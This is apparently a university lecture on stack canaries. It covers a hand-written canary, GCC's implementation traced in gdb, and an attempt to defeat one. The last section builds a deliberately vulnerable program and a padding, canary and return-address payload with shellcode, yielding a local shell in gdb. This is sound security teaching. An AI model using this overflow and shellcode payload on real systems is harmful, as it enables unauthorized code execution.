Lec. 18: Stack Canaries
Table of Contents
1 Stack Smashing Detected
At some point in your programming life, you may have noticed the following error message, either because (like in this class) you are trying to smash the stack, or because you made some sort of a programming error (more likely).
user@si485H-base:demo$ ./smasher `python -c "print 'A'*100"` You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *** stack smashing detected ***: ./smasher terminated Aborted (core dumped)
What is this that error? How is it generated? How is it tested for? How do we defeat such a check? That's what we'll be working on next.
1.1 Stack Guards and Canaries
A stack guard or a canary is a bit of data that sits between your buffer and the return address and acts as a warning when buffers are overflowed and the return address might be overwritten. The term "canary" comes from the ol' cold mines, where the canary is more sensitive to deadly and orderless natural gases that can sneak up on miners. If the canary is found dead, then everyone knows it is time to evacuate the cave. Similarly, in the program, if the canary is overwritten, the program knows it is time to abort the operation and report an error rather than actually returning from the function and potentially setting up a vulnerability.
1.2 Implementing Stack Guards and Canaries
While the canaries are added in through a compilation process with gcc—and we will take a look at that in more detail in a bit—we can also implement our own version of canary checks to see how this process all works. Here's some sample code:
#include <stdio.h> #include <stdlib.h> #include <string.h> int _canary; //initialize the cannary at program start up __attribute__ ((constructor)) int initcannary(){ srand(time(NULL)); int canary = random(); //choose random 4 byte value canary &= 0xffffff00; // zero at last byte canary |= 0x01010100; //nothing but last byte can be zero _canary = canary; } void check_canary(char * buf, int len){ //check canary to see if it survived if( *((unsigned int *) &buf[len]) != _canary){ fprintf(stderr, "**STACK SMASHING DETECTED**\n"); abort(); } } void set_canary(char * buf, int len){ //add canary to end of buffer *((unsigned int *) &buf[len]) = _canary; } void foo(char * s){ char buf[10]; set_canary(buf,10); strcpy(buf,s); printf("You said: %s\n",buf); //check the canary before return check_canary(buf,10); return; } int main(int argc, char *argv[]){ foo(argv[1]); }
First focus on the foo
function, where after declaring the static
array, the canary is set, and after before the return, the canary is
checked. The remaining functions, initialize the canary, set the
canary, and check the canary.
What is the "canary" in this context? it's just an integer whose least
significant byte is 0. This is set in the function initcanary
sets
this up, and that function is also a C constructor function, which is
a special attribute to the function that forces it to run before
main()
. The canary value is assigned to a global variable to be
referred to later.
The check_canary
and set_canary
functions leverage the fact that
following the buffer allocation on the stack, there tends to be a bit
of extra space. That's where we'll place our canary, immediately
following that spot, and now we can set and check as needed.
Let's see how it works:
user@si485H-base:demo$ ./mycanaries `python -c "print 'A'*8"` You said: AAAAAAAA user@si485H-base:demo$ ./mycanaries `python -c "print 'A'*9"` You said: AAAAAAAAA user@si485H-base:demo$ ./mycanaries `python -c "print 'A'*10"` You said: AAAAAAAAAA user@si485H-base:demo$ ./mycanaries `python -c "print 'A'*11"` You said: AAAAAAAAAAA **STACK SMASHING DETECTED** Aborted (core dumped)
… like a charm.
1.3 The anatomy of a canary
Let's take a closer look at the initcanary
function to understand
the anatomy of what makes a good canary:
//initialize the cannary at program start up __attribute__ ((constructor)) int initcannary(){ srand(time(NULL)); int canary = random(); //choose random 4 byte value canary &= 0xffffff00; // zero at last byte canary |= 0x01010100; //nothing but last byte can be zero _canary = canary; }
The rules are:
- The canary should be a random value
- The canary should have the least significant byte be zero
- The canary should have no NULLs elsewhere
For rule 1, the reason is somewhat obvious. If we new canary value was not random, then we would know what it is and just include it in our exploit string.
Rule 2 and 3 are a bit less clear. The reason for these is that we want to zealously check the canary value, but we want to allow for small overruns of a buffer, as what might happen when we copy the NULL byte in strcpy(), but anything more than that we want to detect. Also, we don't want excess NULL bytes in the canary in case of benign overruns and also could effect the string null termination.
There is also another VERY important reason for the canary to have a
NULL byte! Consider what happens when your exploit has a NULL byte and
your leveraging strcpy()
? Well strcpy()
will stop at the null byte
and thus you can't easily overwrite the canary, even if you knew it or
were trying to guess it.
1.4 Watching Canaries in Action
Finally, to put all the pieces together, we need to be able to see the cannery in action to understand its function. To do that, I've written a nifty little function that will print the stack of a calling process, so called printstack(), whose source is below:
#include <stdio.h> #include <stdlib.h> #include <string.h> /** *fname : function name *argc : number of WORD size arguments **/ void print_stack(char * fname, int argc){ /* Function for printing calling functions stack frame */ unsigned int * base_p; unsigned int * saved_p; unsigned int * stack_p; unsigned int * cur; //embedded ASM to retrieve base pointer and saved base pointer __asm__ __volatile__ ("mov %%ebp, %[base_p]" : [base_p] "=r" (base_p)); __asm__ __volatile__ ("mov 0(%%ebp), %[saved_p]" : [saved_p] "=r" (saved_p)); //set stack frame info to calling stack frame stack_p = base_p; base_p = saved_p; //output information printf("--- STACK %s ---\n",fname); for(cur = base_p+argc+1; cur >= stack_p; cur--){ if (cur == base_p){ printf("%p <ebp>: %08x\n", cur, *cur); }else if (cur <= base_p){ printf("%p <ebp-0x%x>: %08x\n", cur, (unsigned int) (base_p-cur) * 4, *cur); }else{ printf("%p <ebp+0x%x>: %08x\n", cur, (unsigned int) (cur-base_p) * 4, *cur); } } }
Don't worry too much about how it works, but it embeds a bit of
assembly into the program to reconstruct the calling stack frame and
print out a well formatted version of the stack so we can take a look
around. Here's the foo
function updated with the print_stack
function:
void foo(char * s){ char buf[10]; set_canary(buf,10); //inspect stack before print_stack("foo",1); strcpy(buf,s); printf("You said: %s\n",buf); //inspect stack after print_stack("foo",1); //check the canary before return check_canary(buf,10); return; }
And now when we run it, we can see what happens. Let's start by inspecting for a run where nothing should go wrong:
user@si485H-base:demo$ ./mycanaries_print-stack `python -c "print 'A'*9"` --- STACK foo --- 0xbffff680 <ebp+0x8>: bffff878 0xbffff67c <ebp+0x4>: 08048765 0xbffff678 <ebp>: bffff698 0xbffff674 <ebp-0x4>: bffff734 0xbffff670 <ebp-0x8>: 0d173300 //<--- Canary 0xbffff66c <ebp-0xc>: 080487c2 0xbffff668 <ebp-0x10>: 00000002 0xbffff664 <ebp-0x14>: 0000002f 0xbffff660 <ebp-0x18>: bffff85f 0xbffff65c <ebp-0x1c>: 0d173300 0xbffff658 <ebp-0x20>: 00000001 0xbffff654 <ebp-0x24>: 00000001 0xbffff650 <ebp-0x28>: 08048869 0xbffff64c <ebp-0x2c>: 080486fd 0xbffff648 <ebp-0x30>: bffff678 You said: AAAAAAAAA --- STACK foo --- 0xbffff680 <ebp+0x8>: bffff878 0xbffff67c <ebp+0x4>: 08048765 0xbffff678 <ebp>: bffff698 0xbffff674 <ebp-0x4>: bffff734 0xbffff670 <ebp-0x8>: 0d173300 //<--- Canary 0xbffff66c <ebp-0xc>: 00414141 0xbffff668 <ebp-0x10>: 41414141 0xbffff664 <ebp-0x14>: 4141002f //<--- Buffer of A's 0xbffff660 <ebp-0x18>: bffff85f 0xbffff65c <ebp-0x1c>: 0d173300 0xbffff658 <ebp-0x20>: 00000001 0xbffff654 <ebp-0x24>: 00000001 0xbffff650 <ebp-0x28>: 08048869 0xbffff64c <ebp-0x2c>: 08048736 0xbffff648 <ebp-0x30>: bffff678
You see that the buffer comes short of killing the canary. Now, let's do 10 A's:
user@si485H-base:demo$ ./mycanaries_print-stack `python -c "print 'A'*10"` --- STACK foo --- 0xbffff680 <ebp+0x8>: bffff877 0xbffff67c <ebp+0x4>: 08048765 0xbffff678 <ebp>: bffff698 0xbffff674 <ebp-0x4>: bffff734 0xbffff670 <ebp-0x8>: 21818b00 0xbffff66c <ebp-0xc>: 080487c2 0xbffff668 <ebp-0x10>: 00000002 0xbffff664 <ebp-0x14>: 0000002f 0xbffff660 <ebp-0x18>: bffff85e 0xbffff65c <ebp-0x1c>: 21818b00 0xbffff658 <ebp-0x20>: 00000001 0xbffff654 <ebp-0x24>: 00000001 0xbffff650 <ebp-0x28>: 08048869 0xbffff64c <ebp-0x2c>: 080486fd 0xbffff648 <ebp-0x30>: bffff678 You said: AAAAAAAAAA --- STACK foo --- 0xbffff680 <ebp+0x8>: bffff877 0xbffff67c <ebp+0x4>: 08048765 0xbffff678 <ebp>: bffff698 0xbffff674 <ebp-0x4>: bffff734 0xbffff670 <ebp-0x8>: 21818b00 //<-- strcpy overrights 0x00 in canary 0xbffff66c <ebp-0xc>: 41414141 0xbffff668 <ebp-0x10>: 41414141 0xbffff664 <ebp-0x14>: 4141002f //<-- Buffer of A's 0xbffff660 <ebp-0x18>: bffff85e 0xbffff65c <ebp-0x1c>: 21818b00 0xbffff658 <ebp-0x20>: 00000001 0xbffff654 <ebp-0x24>: 00000001 0xbffff650 <ebp-0x28>: 08048869 0xbffff64c <ebp-0x2c>: 08048736 0xbffff648 <ebp-0x30>: bffff678
This time the buffer of A's is all filled up, but we used strcpy()
which will copy the NULL byte to the end. That means that 11 bytes are
written, the last one being 0x00. Fortunately, because our canary has
a 0x00 in our last byte, we don't abort. However, at 11 we do:
user@si485H-base:demo$ ./mycanaries_print-stack `python -c "print 'A'*11"` --- STACK foo --- 0xbffff680 <ebp+0x8>: bffff876 0xbffff67c <ebp+0x4>: 08048765 0xbffff678 <ebp>: bffff698 0xbffff674 <ebp-0x4>: bffff734 0xbffff670 <ebp-0x8>: 0f69b900 0xbffff66c <ebp-0xc>: 080487c2 0xbffff668 <ebp-0x10>: 00000002 0xbffff664 <ebp-0x14>: 0000002f 0xbffff660 <ebp-0x18>: bffff85d 0xbffff65c <ebp-0x1c>: 0f69b900 0xbffff658 <ebp-0x20>: 00000001 0xbffff654 <ebp-0x24>: 00000001 0xbffff650 <ebp-0x28>: 08048869 0xbffff64c <ebp-0x2c>: 080486fd 0xbffff648 <ebp-0x30>: bffff678 You said: AAAAAAAAAAA --- STACK foo --- 0xbffff680 <ebp+0x8>: bffff876 0xbffff67c <ebp+0x4>: 08048765 0xbffff678 <ebp>: bffff698 0xbffff674 <ebp-0x4>: bffff734 0xbffff670 <ebp-0x8>: 0f690041 //<--- Canary Dead :( 0xbffff66c <ebp-0xc>: 41414141 0xbffff668 <ebp-0x10>: 41414141 0xbffff664 <ebp-0x14>: 4141002f 0xbffff660 <ebp-0x18>: bffff85d 0xbffff65c <ebp-0x1c>: 0f69b900 0xbffff658 <ebp-0x20>: 00000001 0xbffff654 <ebp-0x24>: 00000001 0xbffff650 <ebp-0x28>: 08048869 0xbffff64c <ebp-0x2c>: 08048736 0xbffff648 <ebp-0x30>: bffff678 **STACK SMASHING DETECTED** Aborted (core dumped)
Now the canary is dead, and the world has been saved from one more exploit.
2 GCC's implementation of Stack Canaries
So far, we've been compiling our programs such that stack protectors have been turned off:
gcc -fno-stack-protector -z execstack
Now, let's compile a few programs with included stack protectors so we
can get a better sense of how gcc implements these. (Note, we'll turn
off the execstack
option at some point soon).
user@si485H-base:demo$ cat smasher.c #include <stdio.h> #include <stdlib.h> #include <string.h> void foo(char * s){ char buf[10]; strcpy(buf,s); printf("You said: %s\n",buf); } int main(int argc, char *argv[]){ foo(argv[1]); } user@si485H-base:demo$ gcc -z execstack smasher.c -o smasher user@si485H-base:demo$ ./smasher `python -c "print 'A'*9"` You said: AAAAAAAAA user@si485H-base:demo$ ./smasher `python -c "print 'A'*10"` You said: AAAAAAAAAA user@si485H-base:demo$ ./smasher `python -c "print 'A'*11"` You said: AAAAAAAAAAA *** stack smashing detected ***: ./smasher terminated Aborted (core dumped)
2.1 Disassembling Canary Code
We can start by placing a break point at foo, and looking at the disassembly in gdb.:
(gdb) br foo Breakpoint 1 at 0x80484a9: file smasher.c, line 5. (gdb) r `python -c "print 'A'*11"` Starting program: /home/user/git/si485-binary-exploits/lec/18/demo/smasher `python -c "print 'A'*11"` Breakpoint 1, foo (s=0xbffff87d 'A' <repeats 11 times>) at smasher.c:5 5 void foo(char * s){ (gdb) ds foo Dump of assembler code for function foo: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: sub esp,0x28 0x080484a3 <+6>: mov eax,DWORD PTR [ebp+0x8] 0x080484a6 <+9>: mov DWORD PTR [ebp-0x1c],eax => 0x080484a9 <+12>: mov eax,gs:0x14 0x080484af <+18>: mov DWORD PTR [ebp-0xc],eax 0x080484b2 <+21>: xor eax,eax 0x080484b4 <+23>: mov eax,DWORD PTR [ebp-0x1c] 0x080484b7 <+26>: mov DWORD PTR [esp+0x4],eax 0x080484bb <+30>: lea eax,[ebp-0x16] 0x080484be <+33>: mov DWORD PTR [esp],eax 0x080484c1 <+36>: call 0x8048370 <strcpy@plt> 0x080484c6 <+41>: lea eax,[ebp-0x16] 0x080484c9 <+44>: mov DWORD PTR [esp+0x4],eax 0x080484cd <+48>: mov DWORD PTR [esp],0x80485a0 0x080484d4 <+55>: call 0x8048350 <printf@plt> 0x080484d9 <+60>: mov eax,DWORD PTR [ebp-0xc] 0x080484dc <+63>: xor eax,DWORD PTR gs:0x14 0x080484e3 <+70>: je 0x80484ea <foo+77> 0x080484e5 <+72>: call 0x8048360 <__stack_chk_fail@plt> 0x080484ea <+77>: leave 0x080484eb <+78>: ret End of assembler dump.
One thing you might notice is that there is a bit more initialization
at the top of the function. In particular, the code for argument is
moved from ebp+0x8
down the stack to ebp-0x1c
. This is to also
protect it from overruns. More importantly, is the next two three
lines, which: (1) grab a value from address gs:0x14
and then (2)
move that value onto the stack at ebp-0xc
. That is the cannary.
The gs:0x14
refers to an address in the threads local storage, and
the gs
register is used to calculate an offset into that storage
location. The gs:0x14
is a logical address used based on
calculating an offset of 0x14 from the start of the
segment. Unfortunately, we can't easily inspect this segment in gdb,
but we can take a step and see what the canary is.
(gdb) ni 0x080484af 5 void foo(char * s){ (gdb) ds Dump of assembler code for function foo: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: sub esp,0x28 0x080484a3 <+6>: mov eax,DWORD PTR [ebp+0x8] 0x080484a6 <+9>: mov DWORD PTR [ebp-0x1c],eax 0x080484a9 <+12>: mov eax,gs:0x14 => 0x080484af <+18>: mov DWORD PTR [ebp-0xc],eax 0x080484b2 <+21>: xor eax,eax 0x080484b4 <+23>: mov eax,DWORD PTR [ebp-0x1c] 0x080484b7 <+26>: mov DWORD PTR [esp+0x4],eax 0x080484bb <+30>: lea eax,[ebp-0x16] 0x080484be <+33>: mov DWORD PTR [esp],eax 0x080484c1 <+36>: call 0x8048370 <strcpy@plt> 0x080484c6 <+41>: lea eax,[ebp-0x16] 0x080484c9 <+44>: mov DWORD PTR [esp+0x4],eax 0x080484cd <+48>: mov DWORD PTR [esp],0x80485a0 0x080484d4 <+55>: call 0x8048350 <printf@plt> 0x080484d9 <+60>: mov eax,DWORD PTR [ebp-0xc] 0x080484dc <+63>: xor eax,DWORD PTR gs:0x14 0x080484e3 <+70>: je 0x80484ea <foo+77> 0x080484e5 <+72>: call 0x8048360 <__stack_chk_fail@plt> 0x080484ea <+77>: leave 0x080484eb <+78>: ret End of assembler dump. (gdb) p/x $eax $1 = 0x3444a500 (gdb)
There it is. Now this value is written to ebp-0xc
, which is exactly
the 4-bytes following the buffer, which is at location ebp-0x16
, or
10 bytes away (0x16-0xc = 22-12 = 10). After initializing the canary,
the next relevant item is the call to __stack_chk_fail
before the
leave and return. This will look at the canary and make sure that it's
value hasn't changed. If so, it will do the abort.
Lets now continue until right before the call to strcpy()
and
inspect the stack:
(gdb) br *0x080484c1 Breakpoint 2 at 0x80484c1: file smasher.c, line 7. (gdb) c Continuing. Breakpoint 2, 0x080484c1 in foo (s=0xbffff87d 'A' <repeats 11 times>) at smasher.c:7 7 strcpy(buf,s); (gdb) ds Dump of assembler code for function foo: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: sub esp,0x28 0x080484a3 <+6>: mov eax,DWORD PTR [ebp+0x8] 0x080484a6 <+9>: mov DWORD PTR [ebp-0x1c],eax 0x080484a9 <+12>: mov eax,gs:0x14 0x080484af <+18>: mov DWORD PTR [ebp-0xc],eax 0x080484b2 <+21>: xor eax,eax 0x080484b4 <+23>: mov eax,DWORD PTR [ebp-0x1c] 0x080484b7 <+26>: mov DWORD PTR [esp+0x4],eax 0x080484bb <+30>: lea eax,[ebp-0x16] 0x080484be <+33>: mov DWORD PTR [esp],eax => 0x080484c1 <+36>: call 0x8048370 <strcpy@plt> 0x080484c6 <+41>: lea eax,[ebp-0x16] 0x080484c9 <+44>: mov DWORD PTR [esp+0x4],eax 0x080484cd <+48>: mov DWORD PTR [esp],0x80485a0 0x080484d4 <+55>: call 0x8048350 <printf@plt> 0x080484d9 <+60>: mov eax,DWORD PTR [ebp-0xc] 0x080484dc <+63>: xor eax,DWORD PTR gs:0x14 0x080484e3 <+70>: je 0x80484ea <foo+77> 0x080484e5 <+72>: call 0x8048360 <__stack_chk_fail@plt> 0x080484ea <+77>: leave 0x080484eb <+78>: ret End of assembler dump. (gdb) x/10x $ebp-0x20 0xbffff648: 0x00000001 0xbffff87d 0xbffff844 0x0000002f 0xbffff658: 0x0804a000 0x3444a500 0x00000002 0xbffff724 0xbffff668: 0xbffff688 0x08048505
At this point, we can see the stack as we are about to fill it in. We can also see the canary value 0x3444a500, nd all the way up to the return address 0x0804850. Now if we take one more step, this picture changes:
(gdb) ni 9 printf("You said: %s\n",buf); (gdb) ds Dump of assembler code for function foo: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: sub esp,0x28 0x080484a3 <+6>: mov eax,DWORD PTR [ebp+0x8] 0x080484a6 <+9>: mov DWORD PTR [ebp-0x1c],eax 0x080484a9 <+12>: mov eax,gs:0x14 0x080484af <+18>: mov DWORD PTR [ebp-0xc],eax 0x080484b2 <+21>: xor eax,eax 0x080484b4 <+23>: mov eax,DWORD PTR [ebp-0x1c] 0x080484b7 <+26>: mov DWORD PTR [esp+0x4],eax 0x080484bb <+30>: lea eax,[ebp-0x16] 0x080484be <+33>: mov DWORD PTR [esp],eax 0x080484c1 <+36>: call 0x8048370 <strcpy@plt> => 0x080484c6 <+41>: lea eax,[ebp-0x16] 0x080484c9 <+44>: mov DWORD PTR [esp+0x4],eax 0x080484cd <+48>: mov DWORD PTR [esp],0x80485a0 0x080484d4 <+55>: call 0x8048350 <printf@plt> 0x080484d9 <+60>: mov eax,DWORD PTR [ebp-0xc] 0x080484dc <+63>: xor eax,DWORD PTR gs:0x14 0x080484e3 <+70>: je 0x80484ea <foo+77> 0x080484e5 <+72>: call 0x8048360 <__stack_chk_fail@plt> 0x080484ea <+77>: leave 0x080484eb <+78>: ret End of assembler dump. (gdb) x/8x $ebp-0x18 0xbffff650: 0x4141f844 0x41414141 0x41414141 0x34440041 0xbffff660: 0x00000002 0xbffff724 0xbffff688 0x08048505
After this, our canary is dead. And with a final continue, we'll never reach the leave and return.
(gdb) c Continuing. You said: AAAAAAAAAAA *** stack smashing detected ***: /home/user/git/si485-binary-exploits/lec/18/demo/smasher terminated Program received signal SIGABRT, Aborted. 0xb7fdd424 in __kernel_vsyscall ()
2.2 Canaries Are Consistent across Function Calls and Forks
Another interesting thing to notice about canaries is that they do not change throughout the entire run of a program. We can see this in this single sample program:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include "print_stack.h" void foo(char * s){ char buf[10]; strcpy(buf,s); printf("%s\n",buf); print_stack("foo",1); } int main(){ int i; for(i=0;i<2;i++){ if(fork() == 0){ foo("AAAAAAAAAA"); } wait(0); } }
This function forks 3 times, once in a child, and calls foo
with a
print_stack
, and the result is:
user@si485H-base:demo$ ./fork_guards AAAAAAAAAA --- STACK foo --- 0xbffff6a0 <ebp+0x8>: 08048790 0xbffff69c <ebp+0x4>: 08048690 0xbffff698 <ebp>: bffff6c8 0xbffff694 <ebp-0x4>: 00000000 0xbffff690 <ebp-0x8>: 00000000 0xbffff68c <ebp-0xc>: 8826c000 0xbffff688 <ebp-0x10>: 41414141 0xbffff684 <ebp-0x14>: 41414141 0xbffff680 <ebp-0x18>: 4141f6c8 0xbffff67c <ebp-0x1c>: 08048790 0xbffff678 <ebp-0x20>: 00000000 0xbffff674 <ebp-0x24>: 00000001 0xbffff670 <ebp-0x28>: 0804878c 0xbffff66c <ebp-0x2c>: 08048655 0xbffff668 <ebp-0x30>: bffff698 AAAAAAAAAA --- STACK foo --- 0xbffff6a0 <ebp+0x8>: 08048790 0xbffff69c <ebp+0x4>: 08048690 0xbffff698 <ebp>: bffff6c8 0xbffff694 <ebp-0x4>: 00000000 0xbffff690 <ebp-0x8>: 00000000 0xbffff68c <ebp-0xc>: 8826c000 0xbffff688 <ebp-0x10>: 41414141 0xbffff684 <ebp-0x14>: 41414141 0xbffff680 <ebp-0x18>: 4141f6c8 0xbffff67c <ebp-0x1c>: 08048790 0xbffff678 <ebp-0x20>: 00000000 0xbffff674 <ebp-0x24>: 00000001 0xbffff670 <ebp-0x28>: 0804878c 0xbffff66c <ebp-0x2c>: 08048655 0xbffff668 <ebp-0x30>: bffff698 AAAAAAAAAA --- STACK foo --- 0xbffff6a0 <ebp+0x8>: 08048790 0xbffff69c <ebp+0x4>: 08048690 0xbffff698 <ebp>: bffff6c8 0xbffff694 <ebp-0x4>: 00000000 0xbffff690 <ebp-0x8>: 00000000 0xbffff68c <ebp-0xc>: 8826c000 0xbffff688 <ebp-0x10>: 41414141 0xbffff684 <ebp-0x14>: 41414141 0xbffff680 <ebp-0x18>: 4141f6c8 0xbffff67c <ebp-0x1c>: 08048790 0xbffff678 <ebp-0x20>: 00000000 0xbffff674 <ebp-0x24>: 00000001 0xbffff670 <ebp-0x28>: 0804878c 0xbffff66c <ebp-0x2c>: 08048655 0xbffff668 <ebp-0x30>: bffff698
IF you look closely, you'll see that the canary 0x00c02688
is the
same in all instances. This might be something we can leverage when
defeating the canary.
3 Defeating Stack Canaries
It is actually really hard to defeat a stack canary. It requires a bit of luck (guessing the canary) and some really poorly written code. Just generally bad code won't do it, the code has to be pretty bad.
Before we get into all of that, there is another way to defeat a canary, which is jumping the canary entirely. We don't quite yet know how to do that, but we will get there soon.
3.1 Some Really Bad Code
To not kill the canary, we need vulnerable program that will overrun a buffer and also(!) write null bytes along the way. This is so we can handle the issue of the canary having nulls. Here's some sample code that will do that:
#include <stdio.h> #include <stdlib.h> #include <string.h> void foo( char ** args){ char numbers[40]; int i; for(i=0; *args; args++,i+=4){ sscanf(*args,"%x", (int*) &numbers[i]); } int j; for(j=0;j<i;j+=4){ printf("0x%x: %c%c%c%c\n", j, numbers[j], numbers[j+1], numbers[j+2], numbers[j+3]); } } int main(int argc,char *argv[]){ foo(argv+1); }
The program reads in command line fields as hex numbers and prints them out as strings. It is actually not a useless program, but there is a vulnerability. We can overrun the numbers array. Let's see that happen:
user@si485H-base:demo$ ./hex_to_char 0x41424344 0x45464748 0x494a4b4c 0x4d4e4f50 0x0: DCBA 0x4: HGFE 0x8: LKJI 0xc: PONM
If we go a bit extreme stack smash detected!:
user@si485H-base:demo$ ./hex_to_char `python -c "print ' '.join(map(hex,range(0x41414141,0x41414150)))"` 0x0: AAAA 0x4: BAAA 0x8: CAAA 0xc: DAAA 0x10: EAAA 0x14: FAAA 0x18: GAAA 0x1c: HAAA 0x20: IAAA 0x24: JAAA 0x28: KAAA 0x2c: LAAA 0x30: MAAA 0x34: NAAA 0x38: OAAA *** stack smashing detected ***: ./hex_to_char terminated Aborted (core dumped)
If we look at the first part of the disassembly of the vulnerable foo function in gdb:
0x080484bd <+0>: push ebp 0x080484be <+1>: mov ebp,esp 0x080484c0 <+3>: push esi 0x080484c1 <+4>: push ebx 0x080484c2 <+5>: sub esp,0x60 0x080484c5 <+8>: mov eax,DWORD PTR [ebp+0x8] 0x080484c8 <+11>: mov DWORD PTR [ebp-0x4c],eax 0x080484cb <+14>: mov eax,gs:0x14 0x080484d1 <+20>: mov DWORD PTR [ebp-0xc],eax 0x080484d4 <+23>: xor eax,eax 0x080484d6 <+25>: mov DWORD PTR [ebp-0x3c],0x0 0x080484dd <+32>: jmp 0x8048508 <foo+75> 0x080484df <+34>: lea edx,[ebp-0x34] 0x080484e2 <+37>: mov eax,DWORD PTR [ebp-0x3c] 0x080484e5 <+40>: add edx,eax 0x080484e7 <+42>: mov eax,DWORD PTR [ebp-0x4c] 0x080484ea <+45>: mov eax,DWORD PTR [eax] 0x080484ec <+47>: mov DWORD PTR [esp+0x8],edx 0x080484f0 <+51>: mov DWORD PTR [esp+0x4],0x8048650 0x080484f8 <+59>: mov DWORD PTR [esp],eax 0x080484fb <+62>: call 0x80483b0 <__isoc99_sscanf@plt>
We learn the following things:
- The canary is at ebp-0xc
- The buffer is at ebp-0x34
- The int i is at ebp-0x3c
That means we have 0x3c or 40 bytes or 8 integers to get to the canary, then it is 0xf or 16 bytes or 4 integers to overwrite the return address. Our exploit needs to look something like this:
user@si485H-base:demo$ ./hex_to_char `python -c "print '0x646170 '*10 + '0x6e616300 ' + '0x646170 '*4 +'0x72646461 ' + '0x706f6e '*10 + '0x6c656873 '*5"` 0x0: pad 0x4: pad 0x8: pad 0xc: pad 0x10: pad 0x14: pad 0x18: pad 0x1c: pad 0x20: pad 0x24: pad 0x28: can 0x2c: pad 0x30: pad 0x34: pad 0x38: pad 0x3c: addr 0x40: nop 0x44: nop 0x48: nop 0x4c: nop 0x50: nop 0x54: nop 0x58: nop 0x5c: nop 0x60: nop 0x64: nop 0x68: shel 0x6c: shel 0x70: shel 0x74: shel 0x78: shel *** stack smashing detected ***: ./hex_to_char terminated Aborted (core dumped)
The exploit is we first do some padding, then the canary, then more padding, the return address, nops, the shell code. Easy, right? Let's see how we can do this in gdb.
3.2 Defeating a Canary in GDB
The first thing we need is to set up our shell code:
user@si485H-base:demo$ echo $(printf `./hexify.sh smallest_shell` | ./le-fourbytes.py - | tr "\n" " ") 0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080
Then we need to run under gdb with the right padding and everything, we can start gdb, execute with those arguments, and break in foo to learn the canary value:
Ok, so now that we now our canary value and where to jump, let's restart the program with those values:
(gdb) br foo Breakpoint 1 at 0x80484cb: file hex_to_char.c, line 5. (gdb) r `python -c "print '0x41414141 '*10 + '0xcafebabe ' + '0x41414141 '*3 +'0xdeadbeef ' + '0x90909090 '*10 + '0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080'"` Starting program: /home/user/git/si485-binary-exploits/lec/18/demo/hex_to_char `python -c "print '0x41414141 '*10 + '0xcafebabe ' + '0x41414141 '*3 +'0xdeadbeef ' + '0x90909090 '*10 + '0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080'"` Breakpoint 1, foo (args=0xbffff548) at hex_to_char.c:5 5 void foo( char ** args){ (gdb)ds Dump of assembler code for function foo: 0x080484bd <+0>: push ebp 0x080484be <+1>: mov ebp,esp 0x080484c0 <+3>: push esi 0x080484c1 <+4>: push ebx 0x080484c2 <+5>: sub esp,0x60 0x080484c5 <+8>: mov eax,DWORD PTR [ebp+0x8] 0x080484c8 <+11>: mov DWORD PTR [ebp-0x4c],eax => 0x080484cb <+14>: mov eax,gs:0x14 0x080484d1 <+20>: mov DWORD PTR [ebp-0xc],eax 0x080484d4 <+23>: xor eax,eax (...) (gdb) ni (gdb) p/x $eax $1 = 0x90ba2000 (gdb) x/4xw $ebp 0xbffff498: 0xbffff4b8 0x080485b0 0xbffff558 0xb7fff000
We now know a canary (0x90ba2000) value and we know a location to jump to (0xbfff4a*), so we can restart our program with those values. But when we do that, the cannary value has changed:
(gdb) r `python -c "print '0x41414141 '*10 + '0x90ba2000 ' + '0x41414141 '*3 +'0xbffff4a4 ' + '0x90909090 '*10 + '0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080'"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/git/si485-binary-exploits/lec/18/demo/hex_to_char `python -c "print '0x41414141 '*10 + '0x90ba2000 ' + '0x41414141 '*3 +'0xbffff4a4 ' + '0x90909090 '*10 + '0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080'"` Breakpoint 1, foo (args=0xbffff558) at hex_to_char.c:5 5 void foo( char ** args){ (gdb) ni 0x080484d1 5 void foo( char ** args){ (gdb) p/x $eax $2 = 0xaae87500
And in here lies the problem: Every time we restart the program we loose the canary, but we can pretend like we knew it before hand by modifying our input in gdb:
(gdb) x/s *(args+10) 0xbffff79e: "0x90ba2000" (gdb) set *(args+10)="0xaae87500" (gdb) x/s *(args+10) 0x804b008: "0xaae87500"
And if were to now remove the breakpoints and continue:
(gdb) d Delete all breakpoints? (y or n) y (gdb) c Continuing. 0x0: AAAA 0x4: AAAA 0x8: AAAA 0xc: AAAA 0x10: AAAA 0x14: AAAA 0x18: AAAA 0x1c: AAAA 0x20: AAAA 0x24: AAAA 0x28: u? 0x2c: AAAA 0x30: AAAA 0x34: AAAA 0x38: ???? 0x3c: ???? 0x40: ???? 0x44: ???? 0x48: ???? 0x4c: ???? 0x50: ???? 0x54: ???? 0x58: ???? 0x5c: ???? 0x60: ???? 0x64: 1??? 0x68: Phn/ 0x6c: shh/ 0x70: /bi? 0x74: ? ? 0x78: ???? process 29959 is executing new program: /bin/dash $
We get a shell. But, this is not super satisfying because there is no good way to do this outside of GDB. We need a program that does a bit more, in particular, a program we can crash a bunch to brute force the canary
3.3 Brute Forcing the Canary
Why don't we just try and brute force cannary, how hard could it be? Well, let's compare this to ASLR. With ASLR, there was 19 bits of randomness we had to contend with, but we could handle that because of NOP sleds. With a NOP sled, we can reduce the randomness down to 7 or 8 bits, which we can brute force fairly throughly.
We don't have the luxury of a nop-sled with Canaries, and worse, there is 24 bits of randomness to contend with, not 19. Doing the math like before, to get to 50% probability of getting it right at least once, we'd need to do 16,777,215 guesses! That's way too many to do in a reasonable amount of time. It would seem like we are S.O.L.
How do we defeat the canary? We have to jump the stack guard. For that, we'll need to use a new technique that doesn't involve stack smashing: format string attacks. We'll get it next.